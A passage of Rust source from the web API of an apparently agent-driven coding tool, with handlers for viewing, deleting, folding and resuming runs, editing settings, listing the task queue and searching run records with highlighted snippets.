2548    /// The task's newest run, when it is not this one.
2549    latest: Option<RunBrief>,
2550    /// The run that finished a `done` task (merged, or already in the base).
2551    finished_by: Option<RunBrief>,
2552    /// The task is `done` but no run on record finished it: closed by hand.
2553    closed_by_hand: bool,
2554}
2555
2556/// The page that filed a task, as the UI links to it.
2557#[derive(Debug, PartialEq, Eq, Serialize)]
2558struct SourceLink {
2559    /// `chat` (a conversation) or `run` (a run's node).
2560    kind: &'static str,
2561    /// The full id, never the short one in the label.
2562    id: String,
2563    /// The hash route that opens it.
2564    href: String,
2565}
2566
2567/// Percent-encode everything outside the URL-unreserved set.
2568fn encode_segment(raw: &str) -> String {
2569    let mut out = String::with_capacity(raw.len());
2570    for b in raw.bytes() {
2571        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2572            out.push(b as char);
2573        } else {
2574            out.push_str(&format!("%{b:02X}"));
2575        }
2576    }
2577    out
2578}
2579
2580/// The one place that decides where a task's source links to. A chat
2581/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
2582/// a person or an imported issue has no page, so no link.
2583fn source_link(source: &Source) -> Option<SourceLink> {
2584    let Source::Agent { run, node } = source else {
2585        return None;
2586    };
2587    let (kind, route) = if node == crate::queue::CHAT_NODE {
2588        ("chat", "chat")
2589    } else {
2590        ("run", "runs")
2591    };
2592    Some(SourceLink {
2593        kind,
2594        id: run.clone(),
2595        href: format!("#/{route}/{}", encode_segment(run)),
2596    })
2597}
2598
2599/// Another run of the same task, as named from a run's detail page.
2600#[derive(Debug, Serialize)]
2601struct RunBrief {
2602    id: String,
2603    short: String,
2604    /// `None` when the run's record cannot be read.
2605    status: Option<&'static str>,
2606    /// The task-page wording for how that pass ended.
2607    outcome: String,
2608}
2609
2610/// The task's overall outcome as seen from `this_run`'s page, classified with
2611/// the same exits the task page's flowchart uses.
2612fn task_outcome(
2613    task: &Task,
2614    this_run: &str,
2615    max_attempts: usize,
2616    read: impl Fn(&str) -> Option<RunState>,
2617) -> TaskRef {
2618    let history = task_history(task, read);
2619    let brief = |h: &TaskRunView| RunBrief {
2620        id: h.id.clone(),
2621        short: h.short.clone(),
2622        status: h.status,
2623        outcome: h.exit.edge_label(h.status),
2624    };
2625    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2626    let latest = if is_latest {
2627        None
2628    } else {
2629        history.last().map(brief)
2630    };
2631    let done = task.status == TaskStatus::Done;
2632    let finished_by = done
2633        .then(|| {
2634            history
2635                .iter()
2636                .rev()
2637                .find(|h| {
2638                    matches!(
2639                        h.exit,
2640                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2641                    )
2642                })
2643                .map(brief)
2644        })
2645        .flatten();
2646    TaskRef {
2647        short: task.short().to_owned(),
2648        title: task.title.clone(),
2649        id: task.id.clone(),
2650        source_label: task.source.label(),
2651        source_link: source_link(&task.source),
2652        status: task.status.as_str(),
2653        attempts: task.attempts,
2654        max_attempts,
2655        is_latest,
2656        latest,
2657        closed_by_hand: done && finished_by.is_none(),
2658        finished_by,
2659    }
2660}
2661
2662/// The task's current attempt, as seen from an older one's detail page.
2663#[derive(Debug, Serialize)]
2664struct LatestAttempt {
2665    id: String,
2666    short: String,
2667    /// Whether this attempt itself settled with a result nobody needs to
2668    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
2669    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
2670    /// unconfirmed claim that no change was needed, which is exactly why it
2671    /// settles the task through `Held` rather than `Done` and still waits on
2672    /// a human to check the evidence; showing an older run as "finished
2673    /// elsewhere" on the strength of an unverified claim would bury the
2674    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
2675    /// in-flight status are excluded because they are exactly the
2676    /// unresolved states this field exists to tell apart from a real finish.
2677    resolved: bool,
2678    /// The attempt's own recorded status, so the page can say where it
2679    /// stands while it is not resolved yet.
2680    status: RunStatus,
2681    /// Whether that status is terminal (nothing is still running it).
2682    done: bool,
2683}
2684
2685/// Markdown for the free-text prose of a run, parallel to `RunState`.
2686#[derive(Debug, Default, Serialize)]
2687struct RunProseMd {
2688    /// `None` when the run has no design deliberation.
2689    advice_md: Option<AdviceMd>,
2690    /// One entry per candidate: the summary.
2691    candidate_summaries_md: Vec<Vec<md::Node>>,
2692    /// One entry per review round, in `reviews` order.
2693    reviews_md: Vec<RoundMd>,
2694}
2695
2696#[derive(Debug, Default, Serialize)]
2697struct AdviceMd {
2698    synthesis: Vec<md::Node>,
2699    /// One per record; empty for a seat with no proposal.
2700    approaches: Vec<Vec<md::Node>>,
2701}
2702
2703#[derive(Debug, Default, Serialize)]
2704struct RoundMd {
2705    /// One per reviewer record.
2706    reviewers: Vec<ReviewerMd>,
2707    /// One per `reconsideration` entry: the reason.
2708    reconsideration: Vec<Vec<md::Node>>,
2709    fix: Option<FixMd>,
2710}
2711
2712#[derive(Debug, Default, Serialize)]
2713struct ReviewerMd {
2714    summary: Vec<md::Node>,
2715    /// One per finding, in recorded order (not the display order).
2716    findings: Vec<Vec<md::Node>>,
2717}
2718
2719#[derive(Debug, Default, Serialize)]
2720struct FixMd {
2721    notes: Vec<md::Node>,
2722    /// One per rejection: the argument.
2723    rejected: Vec<Vec<md::Node>>,
2724}
2725
2726/// Parse a run's agent-written prose; a pure function of the state.
2727fn run_prose_md(state: &RunState) -> RunProseMd {
2728    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2729    RunProseMd {
2730        advice_md: state.advice.as_ref().map(|a| AdviceMd {
2731            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2732            approaches: a
2733                .records
2734                .iter()
2735                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2736                .collect(),
2737        }),
2738        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2739        reviews_md: state
2740            .reviews
2741            .iter()
2742            .map(|round| RoundMd {
2743                reviewers: round
2744                    .reviews
2745                    .iter()
2746                    .map(|rec| ReviewerMd {
2747                        summary: nodes(&rec.summary),
2748                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2749                    })
2750                    .collect(),
2751                reconsideration: round
2752                    .reconsideration
2753                    .iter()
2754                    .map(|rv| nodes(&rv.reason))
2755                    .collect(),
2756                fix: round.fix.as_ref().map(|fix| FixMd {
2757                    notes: nodes(&fix.notes),
2758                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2759                }),
2760            })
2761            .collect(),
2762    }
2763}
2764
2765impl RunDetailView {
2766    fn of(
2767        state: RunState,
2768        live: crate::run::Liveness,
2769        superseded_by: Option<String>,
2770        latest_attempt: Option<LatestAttempt>,
2771        task: Option<TaskRef>,
2772    ) -> Self {
2773        Self {
2774            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2775            prose_md: run_prose_md(&state),
2776            origin_label: crate::run::origin_label(state.origin.as_ref()),
2777            live,
2778            unmerged_by_design: state.unmerged_by_design(),
2779            done: state.status.done(),
2780            superseded_by,
2781            latest_attempt,
2782            task,
2783            state,
2784        }
2785    }
2786}
2787
2788async fn run_detail(
2789    State(ui): State<Arc<Ui>>,
2790    Path(id): Path<String>,
2791) -> ApiResult<Json<RunDetailView>> {
2792    blocking(move || {
2793        let id = resolve_run(&ui.runs, &id)?;
2794        let state = read_run(&ui.runs, &id)?;
2795        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2796        let live = state.liveness(daemon_claims);
2797        let superseded_by = ui
2798            .queue
2799            .superseded_by(&id)
2800            .as_deref()
2801            .map(crate::run::short_of)
2802            .map(str::to_owned);
2803        // Best-effort: an unreadable head (mid-write, or deleted) just means
2804        // this run's own status stands on its own, same as no later attempt
2805        // existing at all.
2806        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2807            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2808                short: head.short().to_owned(),
2809                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2810                status: head.status,
2811                done: head.status.done(),
2812                id: head.id,
2813            })
2814        });
2815        let max_attempts = daemon::Opts::default().max_attempts;
2816        let task = ui
2817            .queue
2818            .list()
2819            .into_iter()
2820            .find(|t| t.runs.contains(&id))
2821            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2822        Ok(Json(RunDetailView::of(
2823            state,
2824            live,
2825            superseded_by,
2826            latest_attempt,
2827            task,
2828        )))
2829    })
2830    .await
2831}
2832
2833/// `DELETE /api/runs/{id}`.
2834///
2835/// Remove a finished, folded run directory along with its artifacts.
2836/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2837/// deleted. This never touches git worktrees or branches - except for a run
2838/// whose state this build cannot read at all, where there is no candidate
2839/// list to check and the wholesale removal `magi fold` already uses for that
2840/// case is the only meaningful "delete".
2841async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2842    let (id, unreadable) = {
2843        let ui = Arc::clone(&ui);
2844        blocking(move || {
2845            let id = resolve_run(&ui.runs, &id)?;
2846            match read_run(&ui.runs, &id) {
2847                Ok(state) => {
2848                    let in_flight =
2849                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2850                    state
2851                        .ensure_can_delete(in_flight)
2852                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2853                    let dir = ui.runs.join(&id);
2854                    std::fs::remove_dir_all(&dir)
2855                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2856                    Ok((id, false))
2857                }
2858                Err(_) => {
2859                    // Unreadable: there is no candidate list to guard on, so
2860                    // a live daemon's claim is the only thing left to check -
2861                    // the same rule `run_fold` applies for the same reason.
2862                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2863                        return Err(ApiError::conflict(format!(
2864                            "run {id} is being worked on by a live daemon right now"
2865                        )));
2866                    }
2867                    Ok((id, true))
2868                }
2869            }
2870        })
2871        .await?
2872    };
2873    if unreadable {
2874        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2875            .await
2876            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2877    }
2878    let ui = Arc::clone(&ui);
2879    let done = id.clone();
2880    blocking(move || {
2881        // The agent that asked died with the run, so an open question would
2882        // keep asking the operator for a decision nobody can deliver.
2883        ui.questions.abandon_for_run(
2884            &done,
2885            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2886        )?;
2887        Ok(())
2888    })
2889    .await?;
2890    Ok(StatusCode::NO_CONTENT)
2891}
2892
2893/// `POST /api/runs/{id}/fold`.
2894///
2895/// Remove a run's candidate worktrees and branches, keeping its record.
2896///
2897/// This exists because the deck answered "delete this run" with *"Candidates
2898/// must be folded before deleting. Run `magi fold` first."* — a phone being
2899/// told to open a terminal, in the one product whose point is that it does
2900/// not need one. The runs an operator most wants gone are the stalled and
2901/// blocked ones, and those are exactly the runs still holding worktrees:
2902/// three of them here held 53 GB.
2903///
2904/// The winner's tree goes too. A fold is what someone asks for when they are
2905/// finished with a run, and leaving one tree behind would leave the delete
2906/// button disabled for the same reason as before.
2907///
2908/// Refused while a live daemon is working on the run, on the rule that guards
2909/// deletion: folding underneath a running agent would pull the tree it is
2910/// editing out from under it.
2911///
2912/// A run whose state this build cannot read at all falls back to
2913/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2914/// selectively, so the whole record's worktree goes wholesale, exactly what
2915/// `magi fold` does on the command line for the same run.
2916async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2917    let (id, state) = {
2918        let ui = Arc::clone(&ui);
2919        blocking(move || {
2920            let id = resolve_run(&ui.runs, &id)?;
2921            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2922                return Err(ApiError::conflict(format!(
2923                    "run {id} is being worked on by a live daemon right now"
2924                )));
2925            }
2926            let state = read_run(&ui.runs, &id).ok();
2927            Ok((id, state))
2928        })
2929        .await?
2930    };
2931    let removed = match state {
2932        Some(mut state) => {
2933            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2934                .await
2935                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2936            // Nothing left to remove is not the same thing as nothing left to
2937            // do — see `clean::clear_abandoned_active`'s own doc for the run
2938            // this exists for: worktrees already gone, but a killed process
2939            // left active seats nobody will ever answer for.
2940            if removed.is_empty() {
2941                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2942                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2943            }
2944            removed
2945        }
2946        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2947            .await
2948            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2949    };
2950    Ok(Json(FoldView {
2951        run: id,
2952        removed_count: removed.len(),
2953        removed,
2954    }))
2955}
2956
2957/// What a fold took away, so the deck can say so rather than only re-render.
2958#[derive(Debug, Serialize)]
2959struct FoldView {
2960    run: String,
2961    /// Worktree paths and branch names removed, in the order they went.
2962    removed: Vec<String>,
2963    removed_count: usize,
2964}
2965
2966/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
2967/// merged outside of `land::land`'s own loop.
2968#[derive(Debug, Deserialize)]
2969struct FoldMergedBody {
2970    #[serde(default)]
2971    pr_url: String,
2972}
2973
2974/// `POST /api/runs/{id}/fold-merged`.
2975///
2976/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
2977/// `Blocked` with `merge: null` because magi never got as far as opening a
2978/// pull request of its own (a title over GitHub's length limit, `gh pr
2979/// create` unreachable, a stale token), which the operator then finished by
2980/// hand on a pull request magi never recorded. The "Run actions" sheet used
2981/// to have no way to tell it about that pull request short of a terminal and
2982/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
2983/// this exists and what it deliberately does not do (`bump::after_merge`).
2984///
2985/// Refused, like [`run_fold`], while a live daemon is working on the run: the
2986/// correction rewrites the same `status`/`merge` fields a running graph would
2987/// be writing to on its own.
2988///
2989/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
2990/// calls plus a fold, seconds of work, and the phone should get its answer
2991/// (which pull request it recorded, and what changed) in the same round
2992/// trip rather than learning it from the change stream.
2993async fn run_fold_merged(
2994    State(ui): State<Arc<Ui>>,
2995    Path(id): Path<String>,
2996    Json(body): Json<FoldMergedBody>,
2997) -> ApiResult<Json<FoldMergedView>> {
2998    let pr_url = body.pr_url.trim().to_owned();
2999    if pr_url.is_empty() {
3000        return Err(ApiError::bad_request("pr_url is required"));
3001    }
3002    let (id, mut state) = {
3003        let ui = Arc::clone(&ui);
3004        blocking(move || {
3005            let id = resolve_run(&ui.runs, &id)?;
3006            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3007                return Err(ApiError::conflict(format!(
3008                    "run {id} is being worked on by a live daemon right now"
3009                )));
3010            }
3011            let state = read_run(&ui.runs, &id)?;
3012            Ok((id, state))
3013        })
3014        .await?
3015    };
3016    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3017        .await
3018        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3019    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3020        .await
3021        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3022    Ok(Json(FoldMergedView {
3023        run: id,
3024        before: before.as_str().to_owned(),
3025        after: after.as_str().to_owned(),
3026        removed,
3027    }))
3028}
3029
3030/// What [`run_fold_merged`] did, so the deck can say so.
3031#[derive(Debug, Serialize)]
3032struct FoldMergedView {
3033    run: String,
3034    /// `status` before the correction — normally `"blocked"`.
3035    before: String,
3036    /// `status` after — normally `"merged"`.
3037    after: String,
3038    /// Worktree paths and branch names the trailing fold removed.
3039    removed: Vec<String>,
3040}
3041
3042/// `POST /api/runs/{id}/resume`.
3043///
3044/// Carry a stalled run on from where it stopped, in the background.
3045///
3046/// A stalled card says "the work is kept" and used to offer no way to act on
3047/// that: the candidates are built and paid for, and continuing means re-asking
3048/// only the seats whose absence collapsed the panel. The alternative an
3049/// operator actually had was releasing the task, which competes three fresh
3050/// implementations against work that already exists.
3051///
3052/// **202, not 200.** A resume runs agents for minutes; holding the connection
3053/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3054/// phone learns the outcome from the change stream.
3055///
3056/// Refused when the loop is running at all, not merely when it is on this run.
3057/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3058/// started a second graph on top of whatever the loop is already driving —
3059/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3060/// allows — would spend that quota twice over for no extra throughput.
3061async fn run_resume(
3062    State(ui): State<Arc<Ui>>,
3063    Path(id): Path<String>,
3064) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3065    let (id, state) = {
3066        let ui = Arc::clone(&ui);
3067        blocking(move || {
3068            let id = resolve_run(&ui.runs, &id)?;
3069            let state = read_run(&ui.runs, &id)?;
3070            Ok((id, state))
3071        })
3072        .await?
3073    };
3074    if let Some(to) = &state.released_to {
3075        return Err(ApiError::conflict(format!(
3076            "run {} can no longer be resumed: its worktree was released to run {}, which \
3077             took the branch over.",
3078            state.short(),
3079            crate::run::short_of(to)
3080        )));
3081    }
3082    if !state.status.resumable() {
3083        return Err(ApiError::conflict(format!(
3084            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3085            state.short(),
3086            status_word(state.status)
3087        )));
3088    }
3089    // Refused whenever the loop is running anything at all, not merely when
3090    // it is on this run: a manual resume racing a loop-driven run over the
3091    // same agent quota is the thing this guard exists to prevent, whether
3092    // the loop's own concurrency is one run or several.
3093    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3094        .into_iter()
3095        .next()
3096    {
3097        return Err(ApiError::conflict(format!(
3098            "the loop is running run {} right now; stop it first, or wait for \
3099             it to finish, before resuming a run by hand.",
3100            crate::run::short_of(&work.run)
3101        )));
3102    }
3103    let _resume = ui.begin_resume(&id)?;
3104
3105    // The same shape the list route returns, so the phone updates the card it
3106    // already has rather than learning a second schema for one button.
3107    let queued = RunSummary::of(
3108        &state,
3109        !ui.questions.open_for(&id).is_empty(),
3110        state.liveness(false),
3111    );
3112    let run = id.clone();
3113    tokio::spawn(async move {
3114        let _resume = _resume;
3115        match crate::graph::Runner::resume(&run) {
3116            Ok(mut runner) => {
3117                if let Err(e) = runner.execute().await {
3118                    tracing::warn!("resume of run {run} stopped: {e:#}");
3119                }
3120            }
3121            // The run's own record is what the phone reads; this line is for
3122            // the operator's terminal.
3123            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3124        }
3125    });
3126    Ok((StatusCode::ACCEPTED, Json(queued)))
3127}
3128
3129async fn run_report(
3130    State(ui): State<Arc<Ui>>,
3131    Path(id): Path<String>,
3132) -> ApiResult<impl IntoResponse> {
3133    let text = blocking(move || {
3134        let id = resolve_run(&ui.runs, &id)?;
3135        // Colour is off for the whole process, set once in `serve`. Rendering
3136        // is CPU work over the full state, which is the other reason this is
3137        // not on the executor.
3138        let state = read_run(&ui.runs, &id)?;
3139        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3140        let live = state.liveness(daemon_claims);
3141        Ok(format!(
3142            "{}{}",
3143            report::run(&state),
3144            report::active_seats(&state, live)
3145        ))
3146    })
3147    .await?;
3148    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3149}
3150
3151/// A task as the UI sees it.
3152///
3153/// The whole task, plus the two things the client would otherwise have to
3154/// reimplement: the human-readable source and the status string. Nothing is
3155/// removed - the phone shows `last_error` and the run history verbatim.
3156#[derive(Debug, Serialize)]
3157struct TaskView {
3158    #[serde(flatten)]
3159    task: Task,
3160    source_label: String,
3161    source_link: Option<SourceLink>,
3162    status_str: &'static str,
3163    /// The instruction, parsed as markdown, for the Queue card's "Full
3164    /// instruction" panel. `task.instruction` is unchanged and still carries
3165    /// the raw text.
3166    instruction_md: Vec<md::Node>,
3167    /// For a blocked task, what it waits on with each dependency's state, e.g.
3168    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3169    /// recurses; empty for every other status.
3170    waits_on: Vec<String>,
3171    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3172    /// behind - non-empty means nothing in the loop will ever run it.
3173    stuck_roots: Vec<String>,
3174}
3175
3176impl From<Task> for TaskView {
3177    fn from(task: Task) -> Self {
3178        Self {
3179            source_label: task.source.label(),
3180            source_link: source_link(&task.source),
3181            status_str: task.status.as_str(),
3182            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3183            waits_on: Vec::new(),
3184            stuck_roots: Vec::new(),
3185            task,
3186        }
3187    }
3188}
3189
3190impl TaskView {
3191    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3192        let waits_on = inv.waits_on(&task);
3193        let stuck_roots = inv
3194            .stuck_roots(&task)
3195            .iter()
3196            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3197            .collect();
3198        Self {
3199            waits_on,
3200            stuck_roots,
3201            ..Self::from(task)
3202        }
3203    }
3204}
3205
3206/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3207/// its absence, leaves the cache to decide.
3208#[derive(Debug, Default, Deserialize)]
3209#[serde(default)]
3210struct ReposQuery {
3211    refresh: u8,
3212}
3213
3214/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3215/// listing `magi repos` prints at a terminal.
3216///
3217/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3218/// so an edit to `magi.toml` takes effect without a restart, the same
3219/// reasoning [`config_for`] documents for the talk routes.
3220async fn repos_list(
3221    State(ui): State<Arc<Ui>>,
3222    Query(q): Query<ReposQuery>,
3223) -> ApiResult<Json<Vec<repos::Repo>>> {
3224    let refresh = q.refresh != 0;
3225    blocking(move || {
3226        let (cfg, _) = Config::discover(&ui.repo, None)?;
3227        Ok(Json(ui.repos_cache.list(
3228            &cfg.repos.roots,
3229            Duration::from_secs(cfg.repos.scan_ttl),
3230            refresh,
3231        )))
3232    })
3233    .await
3234}
3235
3236/// `GET /api/settings` - the effective role assignments and roster, with the
3237/// layer each came from. A config that fails to load answers 200 with an
3238/// `error`, so the screen can say so instead of drawing empty lists.
3239async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3240    blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3241}
3242
3243/// The body of `PUT /api/settings/roles`.
3244#[derive(Debug, Deserialize)]
3245#[serde(deny_unknown_fields)]
3246struct RolesBody {
3247    /// The `revision` the client last read.
3248    revision: String,
3249    /// Role key to its new ids; an empty list resets the key to its default.
3250    roles: std::collections::BTreeMap<String, Vec<String>>,
3251}
3252
3253/// `PUT /api/settings/roles` - save role assignments to the machine config.
3254///
3255/// The write target is `ui.machine_config` and nothing in the body can change
3256/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3257/// 422 with the reason in words.
3258async fn settings_put_roles(
3259    State(ui): State<Arc<Ui>>,
3260    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3261) -> ApiResult<Json<settings::SettingsView>> {
3262    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3263    blocking(move || {
3264        settings::save(
3265            &ui.repo,
3266            ui.machine_config.as_deref(),
3267            &body.revision,
3268            &body.roles,
3269        )
3270        .map(Json)
3271        .map_err(|e| match e {
3272            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3273            settings::SaveError::Refused(m) => ApiError {
3274                status: StatusCode::UNPROCESSABLE_ENTITY,
3275                message: m,
3276            },
3277            settings::SaveError::Internal(m) => ApiError::internal(m),
3278        })
3279    })
3280    .await
3281}
3282
3283async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
3284    blocking(move || {
3285        let tasks = ui.queue.list();
3286        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3287        Ok(Json(
3288            tasks
3289                .into_iter()
3290                .map(|t| TaskView::with_inventory(t, &inv))
3291                .collect(),
3292        ))
3293    })
3294    .await
3295}
3296
3297/// Most hits one search returns. The rest are counted in `total`.
3298const SEARCH_MAX_HITS: usize = 100;
3299/// Longest query, in characters, and most terms it is split into.
3300const SEARCH_MAX_QUERY: usize = 200;
3301const SEARCH_MAX_TERMS: usize = 8;
3302/// Characters of context kept before the first hit, and after it.
3303const SNIPPET_BEFORE: usize = 50;
3304const SNIPPET_AFTER: usize = 110;
3305
3306/// `?scope=runs|tasks&q=...`
3307#[derive(Debug, Deserialize)]
3308struct SearchQuery {
3309    #[serde(default)]
3310    scope: String,
3311    #[serde(default)]
3312    q: String,
3313}
3314
3315/// One piece of a snippet. `hit` pieces are what matched; the client renders
3316/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
3317#[derive(Debug, Serialize, PartialEq, Eq)]
3318struct SnippetPart {
3319    text: String,
3320    hit: bool,
3321}
3322
3323#[derive(Debug, Serialize)]
3324struct SearchHit {
3325    id: String,
3326    /// The name of the field the snippet was cut from.
3327    field: String,
3328    snippet: Vec<SnippetPart>,
3329    /// The run's list row, so the page can apply its state / section / repo
3330    /// filters to a hit outside the loaded window. Absent for tasks and for a
3331    /// run record the list view cannot read.
3332    #[serde(skip_serializing_if = "Option::is_none")]
3333    run: Option<RunSummary>,
3334}
3335
3336#[derive(Debug, Serialize)]
3337struct SearchView {
3338    scope: String,
3339    q: String,
3340    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
3341    hits: Vec<SearchHit>,
3342    /// Every match, hits beyond the cap included.
3343    total: usize,
3344    truncated: bool,
3345    /// Runs whose `run.json` could not be parsed at all. They were not
3346    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
3347    unreadable: usize,
3348}
3349
3350/// The text leaves of a JSON document, with the name of the field each sits
3351/// under. Keys and numbers are skipped: they are structure, not prose.
3352fn text_leaves<'a>(
3353    value: &'a serde_json::Value,
3354    field: &'a str,
3355    out: &mut Vec<(&'a str, &'a str)>,
3356) {
3357    match value {
3358        serde_json::Value::String(s) => out.push((field, s)),
3359        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3360        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3361        _ => {}
3362    }
3363}
3364
3365/// Lower-case one character without changing how many there are, so indices
3366/// in the lowered text are indices in the original.
3367fn fold_char(c: char) -> char {
3368    c.to_lowercase().next().unwrap_or(c)
3369}
3370
3371/// Split a query into its lower-cased terms.
3372fn search_terms(q: &str) -> Vec<String> {
3373    let mut terms: Vec<String> = Vec::new();
3374    for t in q.split_whitespace() {
3375        let t = t.to_lowercase();
3376        if !terms.contains(&t) {
3377            terms.push(t);
3378        }
3379    }
3380    terms
3381}
3382
3383/// Match `terms` (all of them, anywhere in the document) against the leaves
3384/// and cut a snippet around the first hit. `None` when a term is missing.
3385fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3386    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3387    let mut first: Option<usize> = None;
3388    for term in terms {
3389        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3390        first = Some(first.map_or(at, |f| f.min(at)));
3391    }
3392    // The leaf holding the earliest hit of any term is where the snippet is cut.
3393    let (field, text) = leaves[first?];
3394    Some(SearchHit {
3395        id: String::new(),
3396        field: field.to_owned(),
3397        snippet: snippet_of(text, terms),
3398        run: None,
3399    })
3400}
3401
3402/// A window of `text` around the first occurrence of any term, whitespace
3403/// collapsed, with every term occurrence inside the window marked.
3404fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3405    let chars: Vec<char> = text.chars().collect();
3406    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3407    let needles: Vec<Vec<char>> = terms
3408        .iter()
3409        .map(|t| t.chars().map(fold_char).collect())
3410        .collect();
3411    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3412        let mut best: Option<(usize, usize)> = None;
3413        for n in needles.iter().filter(|n| !n.is_empty()) {
3414            // `to` bounds where a match may start; it may run past `to` (the
3415            // caller clips what it shows). A term longer than the field cannot
3416            // occur in it (it may live in another leaf of the document).
3417            if n.len() > chars.len() || to == 0 {
3418                continue;
3419            }
3420            let last = (to - 1).min(chars.len() - n.len());
3421            if from > last {
3422                continue;
3423            }
3424            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3425                && best.is_none_or(|(b, _)| i < b)
3426            {
3427                best = Some((i, i + n.len()));
3428            }
3429        }
3430        best
3431    };
3432    let Some((start, _)) = find(0, chars.len()) else {
3433        // Matched only through a case mapping that changes length: show the head.
3434        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3435        return vec![SnippetPart {
3436            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3437            hit: false,
3438        }];
3439    };
3440    let lo = start.saturating_sub(SNIPPET_BEFORE);
3441    let hi = (start + SNIPPET_AFTER).min(chars.len());
3442    let mut parts: Vec<SnippetPart> = Vec::new();
3443    let mut push = |s: &[char], hit: bool| {
3444        if s.is_empty() {
3445            return;
3446        }
3447        let text: String = s.iter().collect();
3448        match parts.last_mut() {
3449            Some(p) if p.hit == hit => p.text.push_str(&text),
3450            _ => parts.push(SnippetPart { text, hit }),
3451        }
3452    };
3453    if lo > 0 {
3454        push(&['\u{2026}'], false);
3455    }
3456    let mut at = lo;
3457    while at < hi {
3458        match find(at, hi) {
3459            Some((s, e)) => {
3460                push(&chars[at..s], false);
3461                // A match running past the window is shown up to its edge.
